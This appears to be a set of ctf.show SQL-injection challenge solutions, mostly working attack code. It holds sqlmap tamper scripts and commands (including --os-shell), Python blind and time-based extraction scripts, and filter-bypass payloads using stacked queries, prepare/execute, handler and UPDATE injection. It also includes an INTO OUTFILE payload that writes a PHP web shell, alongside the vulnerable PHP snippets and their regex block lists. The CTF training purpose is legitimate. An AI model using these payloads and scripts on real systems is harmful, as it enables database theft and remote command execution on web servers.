from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
import string

__priority__ = PRIORITY.LOW


def tamper(payload, **kwargs):
    retVal = payload
    if payload:
        retVal = retVal.replace(" ", chr(0x0a))
        retVal = retVal.replace("COUNT(*)", "COUNT(id)")
        retVal = base64.b64encode(retVal[::-1].encode('utf-8'))
        retVal = base64.b64encode(retVal[::-1]).decode('utf-8')

    return retVal

python3 .\sqlmap.py -u "http://b57ca267-13ab-462d-89fe-af58d1f06ea6.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --header=content-type:text/plain --safe-url="http://b57ca267-13ab-462d-89fe-af58d1f06ea6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=846olilf219u193rejj4sogmep" --tamper=personal -D ctfshow_web -T ctfshow_flavis --dump

#!/usr/bin/env python

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
import string

__priority__ = PRIORITY.LOW


def tamper(payload, **kwargs):
    retVal = payload
    if payload:
        retVal = retVal.replace("-- -", "#")
        retVal = retVal.replace(" ", chr(0x0a))
        retVal = retVal.replace("COUNT(*)", "COUNT(id)")
        retVal = base64.b64encode(retVal[::-1].encode('utf-8'))
        retVal = base64.b64encode(retVal[::-1]).decode('utf-8')

    return retVal

python3 .\sqlmap.py -u "http://93d1c17f-ea86-493d-8a5a-d1fd395301e6.challenge.ctf.show/api/index.php" --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --header=content-type:text/plain --safe-url="http://93d1c17f-ea86-493d-8a5a-d1fd395301e6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=qdk8hjthjlr3tec5n4d4oear29" --tamper=personal --os-shell

python3 .\sqlmap.py -r bp.txt

python3 .\sqlmap.py -r bp.txt -D ctfshow_web -T ctfshow_flagx --dump

import requests
import time

url = "http://28c1e710-14df-4ace-9539-a74068fd1598.challenge.ctf.show/api/"
flagstr = ",_{}-abcdefghijklmnopqrstuvwxyz0123456789"
flag = ""


for i in range(1, 60):
    for mid in flagstr:
        # 数据库: ctfshow_web
        # payload = "if((substr((select database()),{},1)='{}'),sleep(0.5),1)".format(i, mid)
        # 表名: ctfshow_flagx
        # payload = "if((substr((select group_concat(table_name) from information_schema.tables where table_schema = database()),{},1)='{}'),sleep(0.5),1)".format(i, mid)
        # 字段: id,flaga
        # payload = "if ((substr((select group_concat(column_name) from information_schema.columns where table_name = 'ctfshow_flagx'),{},1)='{}'),sleep(0.5),1)".format(i, mid)
        # 获取flag: ctfshow{5231f260-63a8-4d71-a949-24295e7e8398}
        payload = "if((substr((select flaga from ctfshow_flagx),{},1)='{}'),sleep(0.5),1)".format(i, mid)

        print("[+]Now testing the " + str(i) + "th character \'" + mid + "\'")

        data = {
            "ip": payload,
            "debug": 1
        }
        start_time = time.time()
        res = requests.post(url=url, data=data).text
        end_time = time.time()
        sub = end_time - start_time
        if sub >= 0.5:
            flag += mid
            print(flag)
            if mid == '}':
                exit()
            break

' or if(2>1,sleep(5),1)#

select flagaa from ctfshow_flagxc

// 查询语句
where ip = from_base64($id);

'1') or if(2>1,sleep(5),1)#

select flagaac from ctfshow_flagxcc

1) or if(2>1, benchmark(1500000,md5(1)), 1)#

import requests
import time


def res_judge(url, payload):
    # 发送请求并判断响应时间是否足够长, 以确认匹配
    data = {
        "ip": payload,
        "debug": 1
    }

    try:
        time.sleep(1)	# 这个sleep有时候不加也行
        res = requests.post(url=url, data=data, timeout=1)
    except requests.exceptions.Timeout:
        print(f"[-] Payload: {payload}")
        return 1
    except requests.exceptions.RequestException as e:
        print(f"[!] Error occurred: {e}")
        return -1


def the_length(url, query):
    # 确定查询结果的长度
    for i in range(1, 80):

        payload = f"1) or if((length(({query})))={i},benchmark(1500000,md5(1)),1)#"
        # if((length(({query})))={length},sleep(2),1)&debug=1
        if res_judge(url, payload):
            print(f"[+] Found the length: {i}")
            return i


# 初始化
url = "http://d31de088-4bd3-430b-b266-d60ace1108b9.challenge.ctf.show/api/"
flagstr = ",_{}-abcdefghijklmnopqrstuvwxyz0123456789"
flag = ""

# query = "select database()"
# query = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# query = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxccb'"
query = "select flagaabc from ctfshow_flagxccb"

length = the_length(url, query)
if length:
    for i in range(1, length + 1):
        for mid in flagstr:

            payload = f"1) or if((substr(({query}),{i},1)='{mid}'),benchmark(1500000,md5(1)),1)#"
            if res_judge(url, payload):
                flag += mid
                print(f"[+] Found {i}th character: {mid}")
                print(f"[-] The String: {flag}")
                break
else:
    print(f"[!] Error occurred: length return none, please check your payload or run last payload again")
    exit()

    //屏蔽危险分子
    function waf($str){
        return preg_match('/sleep|benchmark/i',$str);
    }

(select count(*) from ((information_schema.columns)A, (information_schema.columns)B, (information_schema.columns limit 1,7)c) limit 1)

1) and if(substr((select flagaac from ctfshow_flagxc),{j},1)='{i}',\
(select count(*)from ( \
(select table_name from information_schema.columns)a,\
(select table_name from information_schema.columns)b,\
(select table_name from information_schema.columns limit 1,7)c)limit 1\
),1

1) and if((ascii(substr((select flagaac from ctfshow_flagxc),{},1))={}),(SELECT count(*) from (SELECT table_name from information_schema.columns)a,(SELECT table_name from information_schema.columns)b,(SELECT table_name from information_schema.columns limit 1,5)c),1)#

import requests

url = "http://0b70243d-1a8e-472f-98eb-428504c08b1a.challenge.ctf.show/api/"
flagstr = ",_{}-abcdefghijklmnopqrstuvwxyz0123456789"

j = 1
res = ""
while 1:
    for i in flagstr:
        data = {
            'ip': f"1) and if(substr((select flagaac from ctfshow_flagxc),{j},1)='{i}',\
(select count(*) from ( \
(select table_name from information_schema.columns)a, \
(select table_name from information_schema.columns)b, \
(select table_name from information_schema.columns limit 1,7)c) limit 1 \
),1",
            'debug': '1'
        }
        try:
            r = requests.post(url, data=data, timeout=2.5)
        except Exception as e:
            res += i
            print(res)
            j += 1

    //屏蔽危险分子
    function waf($str){
        return preg_match('/sleep|benchmark|rlike/i',$str);
    }

from requests import post
from string import digits, ascii_lowercase

url = 'http://591b6da2-b965-4ff3-a8f4-826f177ed92d.challenge.ctf.show/api/'
# 数据库值: ctfshow_web
# payload = 'admin\' and (select database()) regexp \'{}\' #'
# 表名: ctfshow_fl0g
# payload = 'admin\' and (select group_concat(table_name) from information_schema.tables where table_schema = database()) regexp \'{}\' #'
# 字段: id,f10g
# payload = 'admin\' and (select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = \'ctfshow_fl0g\') regexp \'{}\' #'
# 拿到flag: ctfshow{f8302835-ac04-49e8-ba2c-4ee474890ac4}
payload = 'admin\' and (select f1ag from ctfshow_fl0g) regexp \'{}\' #'
flag = 'ctfshow{'
# flag需要修改, 不能留空

if __name__ == '__main__':
    while True:
        for c in '-}_' + digits + ascii_lowercase:
            resp = post(url, {'username': payload.format(flag + c), 'password': '123'})
            if '密码错误' in resp.json().get('msg'):
                flag += c
                print(flag)
                if c == '}':
                    exit()
                break

    //屏蔽危险分子
    function waf($str){
        return preg_match('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i',$str);
    }

import requests

url = "http://f70e6dcc-fcff-4bf8-b847-89719dd425bd.challenge.ctf.show/api/"
flagstr = ",_{}-abcdefghijklmnopqrstuvwxyz0123456789"

j = 1
res = ""
while 1:
    for i in flagstr:
        data = {
            'ip': f"1) and if(left((select flagaabcc from ctfshow_flagxcac),{j})='{res+i}',\
(select count(*) from ( \
(select table_name from information_schema.columns)a, \
(select table_name from information_schema.columns)b, \
(select table_name from information_schema.columns limit 1,7)c) limit 1 \
),1",
            'debug': '1'
        }
        try:
            r = requests.post(url, data=data, timeout=2.5)
        except Exception as e:
            res += i
            print(res)
            j += 1

  //分页查询
  $sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;

//TODO:很安全，不需要过滤
//拿到数据库名字就算你赢

SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

?page=10&limit=10%20procedure%20analyse(extractvalue(rand(),concat(0x3a,database())),1);

  //分页查询
  $sql = select * from ctfshow_user group by $username;
 //TODO:很安全，不需要过滤

# Author: gkjzjh146
import requests
import time
url = 'http://464941b6-2b80-40a5-9f5b-8560cf7fd664.challenge.ctf.show/api/?u='
url2 = ' &page=1&limit=10'
str = ''
for i in range(60):
    min,max = 32, 128
    while True:
        j = min + (max-min)//2
        if min == j:
            str += chr(j)
            print(str)
            break
        # 爆表名
        # payload = f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.05),'False')"
        # 爆列
        # payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flaga'),{i},1))<{j},sleep(0.05),'False')"
        # 爆值
        payload = f"if(ascii(substr((select group_concat(flagaabc) from ctfshow_flaga),{i},1))<{j},sleep(0.05),'False')"
        url0 = url + payload + url2
        start_time = time.time()
        r = requests.get(url=url0).text
        end_time = time.time()
        sub = end_time - start_time
        if sub >= 1:
            max = j
        else:
            min = j

  //分页查询
  $sql = select * from ctfshow_user group by $username;
  //TODO:很安全，不需要过滤
  //用户名不能是数字

?u=if('a'='a',username,'a')
?u=if('a'='b',username,'a')

import requests


def generateNum(num):
    res = 'true'
    if num == 1:
        return res
    else:
        for i in range(num - 1):
            res += "+true"
        return res


url = "http://ff765902-0dec-4688-8cd2-1a4cc429d30a.chall.ctf.show/api/"
i = 0
res = ""
while 1:
    head = 32
    tail = 127
    i = i + 1

    while head < tail:
        mid = (head + tail) >> 1
        # 查数据库-ctfshow_flagas
        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查字段-flagasabc
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagas'"
        # 查flag
        payload = "select flagasabc from ctfshow_flagas"
        params = {
            "u": f"if(ascii(substr(({payload}),{generateNum(i)},{generateNum(1)}))>{generateNum(mid)},username,'a')"
        }
        r = requests.get(url, params=params)
        # print(r.json()['data'])
        if "userAUTO" in r.text:
            head = mid + 1
        else:
            tail = mid
    if head != 32:
        res += chr(head)
    else:
        break
    print(res)

C64File "');select 0x3c3f3d60245f4745545b315d603f3e into outfile '/var/www/html/1.php';--+
# 十六进制是 <?=`$_GET[1]`?>

  //分页查询
  $sql = "select id,username,pass from ctfshow_user where username = '{$username}';";
  //师傅说过滤的越多越好
  if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set/i',$username)){
    die(json_encode($ret));
  }

/api/?username=1';show%20tables;%23
# 查到 ctfshow_flagasa
/api/?username=1';handler%20`ctfshow_flagasa`%20open;handler%20`ctfshow_flagasa`%20read%20first;%23
# 查到flag

PREPARE name from '[my sql sequece]';
# 预定义SQL语句
EXECUTE name;
# 执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name;
# 删除预定义SQL语句

1';prepare h from concat('selec','t * from ctfshow_flagasa');execute h;%23

  //师傅说过滤的越多越好
  if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|\(/i',$username)){
    die(json_encode($ret));
  }

1';prepare h from 0x73686f77207461626c6573;execute h;%23
# 查表 ctfsh_ow_flagas
1';prepare h from 0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;execute h;%23
# 拿到flag

  //师傅说过滤的越多越好
  if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|db|\,/i',$username)){
    die(json_encode($ret));
  }

1';prepare h from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573;execute h;%23
# select * from information_schema.routines

//分页查询
  $sql = "select id,username,pass from ctfshow_user where username = '{$username}';";
  $bansql = "select char from banlist;";

  //师傅说内容太多，就写入数据库保存
  if(count($banlist)>0){
    foreach ($banlist as $char) {
      if(preg_match("/".$char."/i", $username)){
        die(json_encode($ret));
      }
    }
  }

  //分页查询
  $sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
  // 无过滤

# 查库
password=1',username=database()#&username=1
# 查表 banlist,ctfshow_user,flaga
password=1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=1
# 查列 id,flagas,info
password=1',username=(select group_concat(column_name) from information_schema.columns where table_name='flaga')#&username=1
# 查字段
password=1',username=(select flagas from ctfshow_web.flaga) where 1=1#&username=1

# By gkjzjh146
import requests
url = 'http://6dba60c7-91d2-4d8d-a0c8-2aeb3115cf71.challenge.ctf.show/api/'
str = ''
x = 1
for i in range(60):
    min,max = 32, 128
    while True:
        j = min + (max-min)//2
        if(min == j):
            str += chr(j)
            print(str)
            break
        # 爆表名
        # payload = {
        #     'username': "ctfshow"+"}"+"' or if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{},1))<{},true,false)#".format(i, j),
        #     'password': f"{x}"
        # }
        # 爆列
        # payload = {
        #     'username': "ctfshow"+"}"+"' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flaga'),{},1))<{},true,false)#".format(i, j),
        #     'password': f"{x}"
        # }
        # # 爆值
        payload = {
            'username': "ctfshow"+"}"+"' or if(ascii(substr((select group_concat(flagas) from flaga),{0},1))<{1},true,false)#".format(i, j),
            'password': f"{x}"
        }
        # payload = {'username':f"if(load_file('/var/www/html/api/index.php')regexp('{flag+j}'),0,1)",
        #            'password':0}
        r = requests.post(url=url,data=payload).text
        if(r'\u66f4\u65b0\u6210\u529f' in r):
            max = j
            x += 1
        else:
            min = j
            x += 1

  //分页查询
  $sql = "update ctfshow_user set pass = md5('{$password}') where username = '{$username}';";

# 查库
password=1'),username=database()#&username=1
# 省略部分步骤
# 查字段
password=1'),username=(select flagass from ctfshow_web.flagaa) where 1=1#&username=1

  //分页查询
  $sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

update ctfshow_user set pass = '\' where username = ',username=database()#'
# 等价于
update ctfshow_user set pass = 'x',username=database()#'

password=1\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database()) where 1=1#